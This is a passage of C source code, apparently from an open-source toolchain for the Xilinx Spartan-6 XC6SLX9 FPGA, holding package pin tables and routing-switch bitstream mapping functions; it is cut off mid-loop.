"A2", 0, "TL", "IO_L2N_0", 2, 0 }, { "D6", 0, "TL", "IO_L3P_0", 3, 1 }, { "C6", 0, "TL", "IO_L3N_0", 3, 0 }, { "B3", 0, "TL", "IO_L4P_0", 4, 1 }, { "A3", 0, "TL", "IO_L4N_0", 4, 0 }, { "B4", 0, "TL", "IO_L5P_0", 5, 1 }, { "A4", 0, "TL", "IO_L5N_0", 5, 0 }, { "C5", 0, "TL", "IO_L6P_0", 6, 1 }, { "A5", 0, "TL", "IO_L6N_0", 6, 0 }, { "F7", 0, "TL", "IO_L7P_0", 7, 1 }, { "E6", 0, "TL", "IO_L7N_0", 7, 0 }, { "B6", 0, "TL", "IO_L8P_0", 8, 1 }, { "A6", 0, "TL", "IO_L8N_VREF_0", 8, 0 }, { "E7", 0, "TL", "IO_L9P_0", 9, 1 }, { "E8", 0, "TL", "IO_L9N_0", 9, 0 }, { "C7", 0, "TL", "IO_L10P_0", 10, 1 }, { "A7", 0, "TL", "IO_L10N_0", 10, 0 }, { "D8", 0, "TL", "IO_L11P_0", 11, 1 }, { "C8", 0, "TL", "IO_L11N_0", 11, 0 }, { "G8", 0, "TL", "IO_L32P_0", 32, 1 }, { "F8", 0, "TL", "IO_L32N_0", 32, 0 }, { "B8", 0, "TL", "IO_L33P_0", 33, 1 }, { "A8", 0, "TL", "IO_L33N_0", 33, 0 }, { "D9", 0, "TL", "IO_L34P_GCLK19_0", 34, 1 }, { "C9", 0, "TL", "IO_L34N_GCLK18_0", 34, 0 }, { "B9", 0, "TL", "IO_L35P_GCLK17_0", 35, 1 }, { "A9", 0, "TL", "IO_L35N_GCLK16_0", 35, 0 }, { "D11", 0, "TR", "IO_L36P_GCLK15_0", 36, 1 }, { "C11", 0, "TR", "IO_L36N_GCLK14_0", 36, 0 }, { "C10", 0, "TR", "IO_L37P_GCLK13_0", 37, 1 }, { "A10", 0, "TR", "IO_L37N_GCLK12_0", 37, 0 }, { "G9", 0, "TR", "IO_L38P_0", 38, 1 }, { "F9", 0, "TR", "IO_L38N_VREF_0", 38, 0 }, { "B11", 0, "TR", "IO_L39P_0", 39, 1 }, { "A11", 0, "TR", "IO_L39N_0", 39, 0 }, { "G11", 0, "TR", "IO_L40P_0", 40, 1 }, { "F10", 0, "TR", "IO_L40N_0", 40, 0 }, { "B12", 0, "TR", "IO_L41P_0", 41, 1 }, { "A12", 0, "TR", "IO_L41N_0", 41, 0 }, { "F11", 0, "TR", "IO_L42P_0", 42, 1 }, { "E11", 0, "TR", "IO_L42N_0", 42, 0 }, { "D12", 0, "TR", "IO_L47P_0", 47, 1 }, { "C12", 0, "TR", "IO_L47N_0", 47, 0 }, { "C13", 0, "TR", "IO_L50P_0", 50, 1 }, { "A13", 0, "TR", "IO_L50N_0", 50, 0 }, { "F12", 0, "TR", "IO_L51P_0", 51, 1 }, { "E12", 0, "TR", "IO_L51N_0", 51, 0 }, { "B14", 0, "TR", "IO_L62P_0", 62, 1 }, { "A14", 0, "TR", "IO_L62N_VREF_0", 62, 0 }, { "F13", 0, "TR", "IO_L63P_SCP7_0", 63, 1 }, { "E13", 0, "TR", "IO_L63N_SCP6_0", 63, 0 }, { "C15", 0, "TR", "IO_L64P_SCP5_0", 64, 1 }, { "A15", 0, "TR", "IO_L64N_SCP4_0", 64, 0 }, { "D14", 0, "TR", "IO_L65P_SCP3_0", 65, 1 }, { "C14", 0, "TR", "IO_L65N_SCP2_0", 65, 0 }, { "B16", 0, "TR", "IO_L66P_SCP1_0", 66, 1 }, { "A16", 0, "TR", "IO_L66N_SCP0_0", 66, 0 }, { "A17", 0, "NA", "TCK", 0, 0 }, { "D15", 0, "NA", "TDI", 0, 0 }, { "B18", 0, "NA", "TMS", 0, 0 }, { "D16", 0, "NA", "TDO", 0, 0 }, { "F15", 1, "RT", "IO_L1P_A25_1", 1, 1 }, { "F16", 1, "RT", "IO_L1N_A24_VREF_1", 1, 0 }, { "C17", 1, "RT", "IO_L29P_A23_M1A13_1", 29, 1 }, { "C18", 1, "RT", "IO_L29N_A22_M1A14_1", 29, 0 }, { "F14", 1, "RT", "IO_L30P_A21_M1RESET_1", 30, 1 }, { "G14", 1, "RT", "IO_L30N_A20_M1A11_1", 30, 0 }, { "D17", 1, "RT", "IO_L31P_A19_M1CKE_1", 31, 1 }, { "D18", 1, "RT", "IO_L31N_A18_M1A12_1", 31, 0 }, { "H12", 1, "RT", "IO_L32P_A17_M1A8_1", 32, 1 }, { "G13", 1, "RT", "IO_L32N_A16_M1A9_1", 32, 0 }, { "E16", 1, "RT", "IO_L33P_A15_M1A10_1", 33, 1 }, { "E18", 1, "RT", "IO_L33N_A14_M1A4_1", 33, 0 }, { "K12", 1, "RT", "IO_L34P_A13_M1WE_1", 34, 1 }, { "K13", 1, "RT", "IO_L34N_A12_M1BA2_1", 34, 0 }, { "F17", 1, "RT", "IO_L35P_A11_M1A7_1", 35, 1 }, { "F18", 1, "RT", "IO_L35N_A10_M1A2_1", 35, 0 }, { "H13", 1, "RT", "IO_L36P_A9_M1BA0_1", 36, 1 }, { "H14", 1, "RT", "IO_L36N_A8_M1BA1_1", 36, 0 }, { "H15", 1, "RT", "IO_L37P_A7_M1A0_1", 37, 1 }, { "H16", 1, "RT", "IO_L37N_A6_M1A1_1", 37, 0 }, { "G16", 1, "RT", "IO_L38P_A5_M1CLK_1", 38, 1 }, { "G18", 1, "RT", "IO_L38N_A4_M1CLKN_1", 38, 0 }, { "J13", 1, "RT", "IO_L39P_M1A3_1", 39, 1 }, { "K14", 1, "RT", "IO_L39N_M1ODT_1", 39, 0 }, { "L12", 1, "RT", "IO_L40P_GCLK11_M1A5_1", 40, 1 }, { "L13", 1, "RT", "IO_L40N_GCLK10_M1A6_1", 40, 0 }, { "K15", 1, "RT", "IO_L41P_GCLK9_IRDY1_M1RASN_1", 41, 1 }, { "K16", 1, "RT", "IO_L41N_GCLK8_M1CASN_1", 41, 0 }, { "L15", 1, "RB", "IO_L42P_GCLK7_M1UDM_1", 42, 1 }, { "L16", 1, "RB", "IO_L42N_GCLK6_TRDY1_M1LDM_1", 42, 0 }, { "H17", 1, "RB", "IO_L43P_GCLK5_M1DQ4_1", 43, 1 }, { "H18", 1, "RB", "IO_L43N_GCLK4_M1DQ5_1", 43, 0 }, { "J16", 1, "RB", "IO_L44P_A3_M1DQ6_1", 44, 1 }, { "J18", 1, "RB", "IO_L44N_A2_M1DQ7_1", 44, 0 }, { "K17", 1, "RB", "IO_L45P_A1_M1LDQS_1", 45, 1 }, { "K18", 1, "RB", "IO_L45N_A0_M1LDQSN_1", 45, 0 }, { "L17", 1, "RB", "IO_L46P_FCS_B_M1DQ2_1", 46, 1 }, { "L18", 1, "RB", "IO_L46N_FOE_B_M1DQ3_1", 46, 0 }, { "M16", 1, "RB", "IO_L47P_FWE_B_M1DQ0_1", 47, 1 }, { "M18", 1, "RB", "IO_L47N_LDC_M1DQ1_1", 47, 0 }, { "N17", 1, "RB", "IO_L48P_HDC_M1DQ8_1", 48, 1 }, { "N18", 1, "RB", "IO_L48N_M1DQ9_1", 48, 0 }, { "P17", 1, "RB", "IO_L49P_M1DQ10_1", 49, 1 }, { "P18", 1, "RB", "IO_L49N_M1DQ11_1", 49, 0 }, { "N15", 1, "RB", "IO_L50P_M1UDQS_1", 50, 1 }, { "N16", 1, "RB", "IO_L50N_M1UDQSN_1", 50, 0 }, { "T17", 1, "RB", "IO_L51P_M1DQ12_1", 51, 1 }, { "T18", 1, "RB", "IO_L51N_M1DQ13_1", 51, 0 }, { "U17", 1, "RB", "IO_L52P_M1DQ14_1", 52, 1 }, { "U18", 1, "RB", "IO_L52N_M1DQ15_1", 52, 0 }, { "M14", 1, "RB", "IO_L53P_1", 53, 1 }, { "N14", 1, "RB", "IO_L53N_VREF_1", 53, 0 }, { "L14", 1, "RB", "IO_L61P_1", 61, 1 }, { "M13", 1, "RB", "IO_L61N_1", 61, 0 }, { "P15", 1, "RB", "IO_L74P_AWAKE_1", 74, 1 }, { "P16", 1, "RB", "IO_L74N_DOUT_BUSY_1", 74, 0 }, { "R16", 0, "NA", "SUSPEND", 0, 0 }, { "P13", 2, "NA", "CMPCS_B_2", 0, 0 }, { "V17", 2, "NA", "DONE_2", 0, 0 }, { "R15", 2, "BR", "IO_L1P_CCLK_2", 1, 1 }, { "T15", 2, "BR", "IO_L1N_M0_CMPMISO_2", 1, 0 }, { "U16", 2, "BR", "IO_L2P_CMPCLK_2", 2, 1 }, { "V16", 2, "BR", "IO_L2N_CMPMOSI_2", 2, 0 }, { "R13", 2, "BR", "IO_L3P_D0_DIN_MISO_MISO1_2", 3, 1 }, { "T13", 2, "BR", "IO_L3N_MOSI_CSI_B_MISO0_2", 3, 0 }, { "U15", 2, "BR", "IO_L5P_2", 5, 1 }, { "V15", 2, "BR", "IO_L5N_2", 5, 0 }, { "T14", 2, "BR", "IO_L12P_D1_MISO2_2", 12, 1 }, { "V14", 2, "BR", "IO_L12N_D2_MISO3_2", 12, 0 }, { "N12", 2, "BR", "IO_L13P_M1_2", 13, 1 }, { "P12", 2, "BR", "IO_L13N_D10_2", 13, 0 }, { "U13", 2, "BR", "IO_L14P_D11_2", 14, 1 }, { "V13", 2, "BR", "IO_L14N_D12_2", 14, 0 }, { "M11", 2, "BR", "IO_L15P_2", 15, 1 }, { "N11", 2, "BR", "IO_L15N_2", 15, 0 }, { "R11", 2, "BR", "IO_L16P_2", 16, 1 }, { "T11", 2, "BR", "IO_L16N_VREF_2", 16, 0 }, { "T12", 2, "BR", "IO_L19P_2", 19, 1 }, { "V12", 2, "BR", "IO_L19N_2", 19, 0 }, { "N10", 2, "BR", "IO_L20P_2", 20, 1 }, { "P11", 2, "BR", "IO_L20N_2", 20, 0 }, { "M10", 2, "BR", "IO_L22P_2", 22, 1 }, { "N9", 2, "BR", "IO_L22N_2", 22, 0 }, { "U11", 2, "BR", "IO_L23P_2", 23, 1 }, { "V11", 2, "BR", "IO_L23N_2", 23, 0 }, { "R10", 2, "BR", "IO_L29P_GCLK3_2", 29, 1 }, { "T10", 2, "BR", "IO_L29N_GCLK2_2", 29, 0 }, { "U10", 2, "BR", "IO_L30P_GCLK1_D13_2", 30, 1 }, { "V10", 2, "BR", "IO_L30N_GCLK0_USERCCLK_2", 30, 0 }, { "R8", 2, "BL", "IO_L31P_GCLK31_D14_2", 31, 1 }, { "T8", 2, "BL", "IO_L31N_GCLK30_D15_2", 31, 0 }, { "T9", 2, "BL", "IO_L32P_GCLK29_2", 32, 1 }, { "V9", 2, "BL", "IO_L32N_GCLK28_2", 32, 0 }, { "M8", 2, "BL", "IO_L40P_2", 40, 1 }, { "N8", 2, "BL", "IO_L40N_2", 40, 0 }, { "U8", 2, "BL", "IO_L41P_2", 41, 1 }, { "V8", 2, "BL", "IO_L41N_VREF_2", 41, 0 }, { "U7", 2, "BL", "IO_L43P_2", 43, 1 }, { "V7", 2, "BL", "IO_L43N_2", 43, 0 }, { "N7", 2, "BL", "IO_L44P_2", 44, 1 }, { "P8", 2, "BL", "IO_L44N_2", 44, 0 }, { "T6", 2, "BL", "IO_L45P_2", 45, 1 }, { "V6", 2, "BL", "IO_L45N_2", 45, 0 }, { "R7", 2, "BL", "IO_L46P_2", 46, 1 }, { "T7", 2, "BL", "IO_L46N_2", 46, 0 }, { "N6", 2, "BL", "IO_L47P_2", 47, 1 }, { "P7", 2, "BL", "IO_L47N_2", 47, 0 }, { "R5", 2, "BL", "IO_L48P_D7_2", 48, 1 }, { "T5", 2, "BL", "IO_L48N_RDWR_B_VREF_2", 48, 0 }, { "U5", 2, "BL", "IO_L49P_D3_2", 49, 1 }, { "V5", 2, "BL", "IO_L49N_D4_2", 49, 0 }, { "R3", 2, "BL", "IO_L62P_D5_2", 62, 1 }, { "T3", 2, "BL", "IO_L62N_D6_2", 62, 0 }, { "T4", 2, "BL", "IO_L63P_2", 63, 1 }, { "V4", 2, "BL", "IO_L63N_2", 63, 0 }, { "N5", 2, "BL", "IO_L64P_D8_2", 64, 1 }, { "P6", 2, "BL", "IO_L64N_D9_2", 64, 0 }, { "U3", 2, "BL", "IO_L65P_INIT_B_2", 65, 1 }, { "V3", 2, "BL", "IO_L65N_CSO_B_2", 65, 0 }, { "V2", 2, "NA", "PROGRAM_B_2", 0, 0 }, { "N4", 3, "LB", "IO_L1P_3", 1, 1 }, { "N3", 3, "LB", "IO_L1N_VREF_3", 1, 0 }, { "P4", 3, "LB", "IO_L2P_3", 2, 1 }, { "P3", 3, "LB", "IO_L2N_3", 2, 0 }, { "L6", 3, "LB", "IO_L31P_3", 31, 1 }, { "M5", 3, "LB", "IO_L31N_VREF_3", 31, 0 }, { "U2", 3, "LB", "IO_L32P_M3DQ14_3", 32, 1 }, { "U1", 3, "LB", "IO_L32N_M3DQ15_3", 32, 0 }, { "T2", 3, "LB", "IO_L33P_M3DQ12_3", 33, 1 }, { "T1", 3, "LB", "IO_L33N_M3DQ13_3", 33, 0 }, { "P2", 3, "LB", "IO_L34P_M3UDQS_3", 34, 1 }, { "P1", 3, "LB", "IO_L34N_M3UDQSN_3", 34, 0 }, { "N2", 3, "LB", "IO_L35P_M3DQ10_3", 35, 1 }, { "N1", 3, "LB", "IO_L35N_M3DQ11_3", 35, 0 }, { "M3", 3, "LB", "IO_L36P_M3DQ8_3", 36, 1 }, { "M1", 3, "LB", "IO_L36N_M3DQ9_3", 36, 0 }, { "L2", 3, "LB", "IO_L37P_M3DQ0_3", 37, 1 }, { "L1", 3, "LB", "IO_L37N_M3DQ1_3", 37, 0 }, { "K2", 3, "LB", "IO_L38P_M3DQ2_3", 38, 1 }, { "K1", 3, "LB", "IO_L38N_M3DQ3_3", 38, 0 }, { "L4", 3, "LB", "IO_L39P_M3LDQS_3", 39, 1 }, { "L3", 3, "LB", "IO_L39N_M3LDQSN_3", 39, 0 }, { "J3", 3, "LB", "IO_L40P_M3DQ6_3", 40, 1 }, { "J1", 3, "LB", "IO_L40N_M3DQ7_3", 40, 0 }, { "H2", 3, "LB", "IO_L41P_GCLK27_M3DQ4_3", 41, 1 }, { "H1", 3, "LB", "IO_L41N_GCLK26_M3DQ5_3", 41, 0 }, { "K4", 3, "LB", "IO_L42P_GCLK25_TRDY2_M3UDM_3", 42, 1 }, { "K3", 3, "LB", "IO_L42N_GCLK24_M3LDM_3", 42, 0 }, { "L5", 3, "LT", "IO_L43P_GCLK23_M3RASN_3", 43, 1 }, { "K5", 3, "LT", "IO_L43N_GCLK22_IRDY2_M3CASN_3", 43, 0 }, { "H4", 3, "LT", "IO_L44P_GCLK21_M3A5_3", 44, 1 }, { "H3", 3, "LT", "IO_L44N_GCLK20_M3A6_3", 44, 0 }, { "L7", 3, "LT", "IO_L45P_M3A3_3", 45, 1 }, { "K6", 3, "LT", "IO_L45N_M3ODT_3", 45, 0 }, { "G3", 3, "LT", "IO_L46P_M3CLK_3", 46, 1 }, { "G1", 3, "LT", "IO_L46N_M3CLKN_3", 46, 0 }, { "J7", 3, "LT", "IO_L47P_M3A0_3", 47, 1 }, { "J6", 3, "LT", "IO_L47N_M3A1_3", 47, 0 }, { "F2", 3, "LT", "IO_L48P_M3BA0_3", 48, 1 }, { "F1", 3, "LT", "IO_L48N_M3BA1_3", 48, 0 }, { "H6", 3, "LT", "IO_L49P_M3A7_3", 49, 1 }, { "H5", 3, "LT", "IO_L49N_M3A2_3", 49, 0 }, { "E3", 3, "LT", "IO_L50P_M3WE_3", 50, 1 }, { "E1", 3, "LT", "IO_L50N_M3BA2_3", 50, 0 }, { "F4", 3, "LT", "IO_L51P_M3A10_3", 51, 1 }, { "F3", 3, "LT", "IO_L51N_M3A4_3", 51, 0 }, { "D2", 3, "LT", "IO_L52P_M3A8_3", 52, 1 }, { "D1", 3, "LT", "IO_L52N_M3A9_3", 52, 0 }, { "H7", 3, "LT", "IO_L53P_M3CKE_3", 53, 1 }, { "G6", 3, "LT", "IO_L53N_M3A12_3", 53, 0 }, { "E4", 3, "LT", "IO_L54P_M3RESET_3", 54, 1 }, { "D3", 3, "LT", "IO_L54N_M3A11_3", 54, 0 }, { "F6", 3, "LT", "IO_L55P_M3A13_3", 55, 1 }, { "F5", 3, "LT", "IO_L55N_M3A14_3", 55, 0 }, { "C2", 3, "LT", "IO_L83P_3", 83, 1 }, { "C1", 3, "LT", "IO_L83N_VREF_3", 83, 0 }, { "A1", 0, "NA", "GND", 0, 0 }, { "A18", 0, "NA", "GND", 0, 0 }, { "B13", 0, "NA", "GND", 0, 0 }, { "B7", 0, "NA", "GND", 0, 0 }, { "C16", 0, "NA", "GND", 0, 0 }, { "C3", 0, "NA", "GND", 0, 0 }, { "D10", 0, "NA", "GND", 0, 0 }, { "D5", 0, "NA", "GND", 0, 0 }, { "E15", 0, "NA", "GND", 0, 0 }, { "G12", 0, "NA", "GND", 0, 0 }, { "G17", 0, "NA", "GND", 0, 0 }, { "G2", 0, "NA", "GND", 0, 0 }, { "G5", 0, "NA", "GND", 0, 0 }, { "H10", 0, "NA", "GND", 0, 0 }, { "H8", 0, "NA", "GND", 0, 0 }, { "J11", 0, "NA", "GND", 0, 0 }, { "J15", 0, "NA", "GND", 0, 0 }, { "J4", 0, "NA", "GND", 0, 0 }, { "J9", 0, "NA", "GND", 0, 0 }, { "K10", 0, "NA", "GND", 0, 0 }, { "K8", 0, "NA", "GND", 0, 0 }, { "L11", 0, "NA", "GND", 0, 0 }, { "L9", 0, "NA", "GND", 0, 0 }, { "M17", 0, "NA", "GND", 0, 0 }, { "M2", 0, "NA", "GND", 0, 0 }, { "M6", 0, "NA", "GND", 0, 0 }, { "N13", 0, "NA", "GND", 0, 0 }, { "R1", 0, "NA", "GND", 0, 0 }, { "R14", 0, "NA", "GND", 0, 0 }, { "R18", 0, "NA", "GND", 0, 0 }, { "R4", 0, "NA", "GND", 0, 0 }, { "R9", 0, "NA", "GND", 0, 0 }, { "T16", 0, "NA", "GND", 0, 0 }, { "U12", 0, "NA", "GND", 0, 0 }, { "U6", 0, "NA", "GND", 0, 0 }, { "V1", 0, "NA", "GND", 0, 0 }, { "V18", 0, "NA", "GND", 0, 0 }, { "B1", 0, "NA", "VCCAUX", 0, 0 }, { "B17", 0, "NA", "VCCAUX", 0, 0 }, { "E14", 0, "NA", "VCCAUX", 0, 0 }, { "E5", 0, "NA", "VCCAUX", 0, 0 }, { "E9", 0, "NA", "VCCAUX", 0, 0 }, { "G10", 0, "NA", "VCCAUX", 0, 0 }, { "J12", 0, "NA", "VCCAUX", 0, 0 }, { "K7", 0, "NA", "VCCAUX", 0, 0 }, { "M9", 0, "NA", "VCCAUX", 0, 0 }, { "P10", 0, "NA", "VCCAUX", 0, 0 }, { "P14", 0, "NA", "VCCAUX", 0, 0 }, { "P5", 0, "NA", "VCCAUX", 0, 0 }, { "G7", 0, "NA", "VCCINT", 0, 0 }, { "H11", 0, "NA", "VCCINT", 0, 0 }, { "H9", 0, "NA", "VCCINT", 0, 0 }, { "J10", 0, "NA", "VCCINT", 0, 0 }, { "J8", 0, "NA", "VCCINT", 0, 0 }, { "K11", 0, "NA", "VCCINT", 0, 0 }, { "K9", 0, "NA", "VCCINT", 0, 0 }, { "L10", 0, "NA", "VCCINT", 0, 0 }, { "L8", 0, "NA", "VCCINT", 0, 0 }, { "M12", 0, "NA", "VCCINT", 0, 0 }, { "M7", 0, "NA", "VCCINT", 0, 0 }, { "B10", 0, "NA", "VCCO_0", 0, 0 }, { "B15", 0, "NA", "VCCO_0", 0, 0 }, { "B5", 0, "NA", "VCCO_0", 0, 0 }, { "D13", 0, "NA", "VCCO_0", 0, 0 }, { "D7", 0, "NA", "VCCO_0", 0, 0 }, { "E10", 0, "NA", "VCCO_0", 0, 0 }, { "E17", 1, "NA", "VCCO_1", 0, 0 }, { "G15", 1, "NA", "VCCO_1", 0, 0 }, { "J14", 1, "NA", "VCCO_1", 0, 0 }, { "J17", 1, "NA", "VCCO_1", 0, 0 }, { "M15", 1, "NA", "VCCO_1", 0, 0 }, { "R17", 1, "NA", "VCCO_1", 0, 0 }, { "P9", 2, "NA", "VCCO_2", 0, 0 }, { "R12", 2, "NA", "VCCO_2", 0, 0 }, { "R6", 2, "NA", "VCCO_2", 0, 0 }, { "U14", 2, "NA", "VCCO_2", 0, 0 }, { "U4", 2, "NA", "VCCO_2", 0, 0 }, { "U9", 2, "NA", "VCCO_2", 0, 0 }, { "E2", 3, "NA", "VCCO_3", 0, 0 }, { "G4", 3, "NA", "VCCO_3", 0, 0 }, { "J2", 3, "NA", "VCCO_3", 0, 0 }, { "J5", 3, "NA", "VCCO_3", 0, 0 }, { "M4", 3, "NA", "VCCO_3", 0, 0 }, { "R2", 3, "NA", "VCCO_3", 0, 0 }}}; switch (pkg) { case TQG144: return &pkg_tqg144; case FTG256: return &pkg_ftg256; case CSG324: return &pkg_csg324; default: ; } HERE(); return 0; } const char *xc6_find_pkg_pin(const struct xc6_pkg_info *pkg_info, const char *description) { int i; for (i = 0; i < pkg_info->num_pins; i++) { if (!strcmp(pkg_info->pin[i].description, description)) return pkg_info->pin[i].name; } HERE(); return 0; } int get_major_minors(int idcode, int major) { static const int minors_per_major[] = // for slx9 { /* 0 */ 4, // 505 bytes = middle 8-bit for each minor? /* 1 */ 30, // left /* 2 */ 31, // logic M /* 3 */ 30, // logic L /* 4 */ 25, // bram /* 5 */ 31, // logic M /* 6 */ 30, // logic L /* 7 */ 24, // macc /* 8 */ 31, // logic M /* 9 */ 31, // center /* 10 */ 31, // logic M /* 11 */ 30, // logic L /* 12 */ 31, // logic M /* 13 */ 30, // logic L /* 14 */ 25, // bram /* 15 */ 31, // logic M /* 16 */ 30, // logic L /* 17 */ 30, // right }; if ((idcode & IDCODE_MASK) != XC6SLX9) EXIT(1); if (major < 0 || major > sizeof(minors_per_major)/sizeof(minors_per_major[0])) EXIT(1); return minors_per_major[major]; } enum major_type get_major_type(int idcode, int major) { static const int major_types[] = // for slx9 { /* 0 */ MAJ_ZERO, /* 1 */ MAJ_LEFT, /* 2 */ MAJ_LOGIC_XM, /* 3 */ MAJ_LOGIC_XL, /* 4 */ MAJ_BRAM, /* 5 */ MAJ_LOGIC_XM, /* 6 */ MAJ_LOGIC_XL, /* 7 */ MAJ_MACC, /* 8 */ MAJ_LOGIC_XM, /* 9 */ MAJ_CENTER, /* 10 */ MAJ_LOGIC_XM, /* 11 */ MAJ_LOGIC_XL, /* 12 */ MAJ_LOGIC_XM, /* 13 */ MAJ_LOGIC_XL, /* 14 */ MAJ_BRAM, /* 15 */ MAJ_LOGIC_XM, /* 16 */ MAJ_LOGIC_XL, /* 17 */ MAJ_RIGHT }; if ((idcode & IDCODE_MASK) != XC6SLX9) EXIT(1); if (major < 0 || major > sizeof(major_types)/sizeof(major_types[0])) EXIT(1); return major_types[major]; } int get_rightside_major(int idcode) { if ((idcode & IDCODE_MASK) != XC6SLX9) { HERE(); return -1; } return XC6_SLX9_RIGHTMOST_MAJOR; } int get_major_framestart(int idcode, int major) { int i, frame_count; frame_count = 0; for (i = 0; i < major; i++) frame_count += get_major_minors(idcode, i); return frame_count; } int get_frames_per_row(int idcode) { return get_major_framestart(idcode, get_rightside_major(idcode)+1); } // // routing switches // struct sw_mip_src { int minor; int m0_sw_to; int m0_two_bits_o; int m0_two_bits_val; int m0_one_bit_start; int m1_sw_to; int m1_two_bits_o; int m1_two_bits_val; int m1_one_bit_start; int from_w[6]; }; static int bidir_check(int sw_to, int sw_from) { // the first member of bidir switch pairs is where the bits reside static const int bidir[] = { LW + (LI_BX|LD1), FAN_B, LW + (LI_AX|LD1), GFAN0, LW + LI_AX, GFAN0, LW + (LI_CE|LD1), GFAN1, LW + (LI_CI|LD1), GFAN1, LW + LI_BX, LW + (LI_CI|LD1), LW + LI_BX, LW + (LI_DI|LD1), LW + (LI_AX|LD1), LW + (LI_CI|LD1), LW + (LI_BX|LD1), LW + (LI_CE|LD1), LW + LI_AX, LW + (LI_CE|LD1) }; int i; // bidirectional switches are ignored on one side, and // marked as bidir on the other side for (i = 0; i < sizeof(bidir)/sizeof(*bidir)/2; i++) { if ((sw_from == bidir[i*2] && sw_to == bidir[i*2+1]) || (sw_from == bidir[i*2+1] && sw_to == bidir[i*2])) return 1; } return 0; } static int wire_decrement(int wire) { int _wire, flags; if (wire >= DW && wire <= DW_LAST) { _wire = wire - DW; flags = _wire & DIR_FLAGS; _wire &= ~DIR_FLAGS; if (_wire%4 == 0) return DW + ((_wire + 3) | flags); return DW + ((_wire - 1) | flags); } if (wire >= LW && wire <= LW_LAST) { _wire = wire - LW; flags = _wire & LD1; _wire &= ~LD1; if (_wire == LO_A) return LW + (LO_D|flags); if (_wire == LO_AMUX) return LW + (LO_DMUX|flags); if (_wire == LO_AQ) return LW + (LO_DQ|flags); if ((_wire >= LO_B && _wire <= LO_D) || (_wire >= LO_BMUX && _wire <= LO_DMUX) || (_wire >= LO_BQ && _wire <= LO_DQ)) return LW + ((_wire-1)|flags); } if (wire == NO_WIRE) return wire; HERE(); return wire; } static enum extra_wires clean_S0N3(enum extra_wires wire) { int flags; if (wire < DW || wire > DW_LAST) return wire; wire -= DW; flags = wire & DIR_FLAGS; wire &= ~DIR_FLAGS; if (flags & DIR_S0 && wire%4 != 0) flags &= ~DIR_S0; if (flags & DIR_N3 && wire%4 != 3) flags &= ~DIR_N3; return DW + (wire | flags); } static int src_to_bitpos(struct xc6_routing_bitpos* bitpos, int* cur_el, int max_el, const struct sw_mip_src* src, int src_len) { int i, j, rc; for (i = 0; i < src_len; i++) { for (j = 0; j < sizeof(src->from_w)/sizeof(src->from_w[0]); j++) { if (src[i].from_w[j] == NO_WIRE) continue; if (*cur_el >= max_el) FAIL(EINVAL); bitpos[*cur_el].from = clean_S0N3(src[i].from_w[j]); bitpos[*cur_el].to = clean_S0N3(src[i].m0_sw_to); bitpos[*cur_el].bidir = bidir_check(src[i].m0_sw_to, src[i].from_w[j]); bitpos[*cur_el].minor = src[i].minor; bitpos[*cur_el].two_bits_o = src[i].m0_two_bits_o; bitpos[*cur_el].two_bits_val = src[i].m0_two_bits_val; bitpos[*cur_el].one_bit_o = src[i].m0_one_bit_start + j*2; (*cur_el)++; if (*cur_el >= max_el) FAIL(EINVAL); bitpos[*cur_el].from = clean_S0N3(src[i].from_w[j]); bitpos[*cur_el].to = clean_S0N3(src[i].m1_sw_to); bitpos[*cur_el].bidir = bidir_check(src[i].m1_sw_to, src[i].from_w[j]); bitpos[*cur_el].minor = src[i].minor; bitpos[*cur_el].two_bits_o = src[i].m1_two_bits_o; bitpos[*cur_el].two_bits_val = src[i].m1_two_bits_val; bitpos[*cur_el].one_bit_o = src[i].m1_one_bit_start + j*2; (*cur_el)++; } } return 0; fail: return rc; } #define LOGIN_ROW 2 #define LOGIN_MIP_ROWS 8 static const int logicin_matrix[] = { /*mip 12*/ /* 000 */ LW + (LI_C6|LD1), LW + LI_D6, /* 016 */ LW + (LI_B1|LD1), LW + (LI_DI|LD1), /* 032 */ LW + (LI_C5|LD1), LW + LI_D5, /* 048 */ LW + (LI_CI|LD1), LW + LI_A2, /* 064 */ LW + (LI_C4|LD1), LW + LI_D4, /* 080 */ LW + LI_A1, LW + LI_CE, /* 096 */ LW + (LI_C3|LD1), LW + LI_D3, /* 112 */ LW + (LI_B2|LD1), LW + (LI_WE|LD1), /*mip 14*/ /* 000 */ LW + LI_C1, LW + LI_DX, /* 016 */ LW + (LI_A3|LD1), LW + LI_B3, /* 032 */ LW + (LI_CX|LD1), LW + (LI_D2|LD1), /* 048 */ LW + (LI_A4|LD1), LW + LI_B4, /* 064 */ LW + (LI_D1|LD1), LW + LI_BX, /* 080 */ LW + (LI_A5|LD1), LW + LI_B5, /* 096 */ LW + (LI_AX|LD1), LW + LI_C2, /* 112 */ LW + (LI_A6|LD1), LW + LI_B6, /*mip 16*/ /* 000 */ LW + (LI_B3|LD1), LW + LI_A3, /* 016 */ LW + (LI_C2|LD1), LW + (LI_DX|LD1), /* 032 */ LW + (LI_B4|LD1), LW + LI_A4, /* 048 */ LW + LI_CX, LW + LI_D1, /* 064 */ LW + (LI_B5|LD1), LW + LI_A5, /* 080 */ LW + (LI_BX|LD1), LW + LI_D2, /* 096 */ LW + (LI_B6|LD1), LW + LI_A6, /* 112 */ LW + (LI_C1|LD1), LW + LI_AX, /*mip 18*/ /* 000 */ LW + LI_B2, FAN_B, /* 016 */ LW + (LI_D6|LD1), LW + LI_C6, /* 032 */ LW + (LI_A1|LD1), LW + (LI_CE|LD1), /* 048 */ LW + (LI_D5|LD1), LW + LI_C5, /* 064 */ LW + (LI_A2|LD1), LW + (LI_BI|LD1), /* 080 */ LW + (LI_D4|LD1), LW + LI_C4, /* 096 */ LW + (LI_AI|LD1), LW + LI_B1, /* 112 */ LW + (LI_D3|LD1), LW + LI_C3 }; static int mip_to_bitpos(struct xc6_routing_bitpos* bitpos, int* cur_el, int max_el, int minor, int m0_two_bits_val, int m0_one_bit_start, int m1_two_bits_val, int m1_one_bit_start, int (*from_ws)[8][6]) { struct sw_mip_src src; int i, j, rc; src.minor = minor; src.m0_two_bits_o = 0; src.m0_two_bits_val = m0_two_bits_val; src.m0_one_bit_start = m0_one_bit_start; src.m1_two_bits_o = 14; src.m1_two_bits_val = m1_two_bits_val; src.m1_one_bit_start = m1_one_bit_start; for (i = 0; i < 8; i++) { int logicin_o = ((src.minor-12)/2)*LOGIN_MIP_ROWS*LOGIN_ROW; logicin_o += i*LOGIN_ROW; src.m0_sw_to = logicin_matrix[logicin_o+0]; src.m1_sw_to = logicin_matrix[logicin_o+1]; if (i) { src.m0_two_bits_o += 16; src.m0_one_bit_start += 16; src.m1_two_bits_o += 16; src.m1_one_bit_start += 16; } for (j = 0; j < 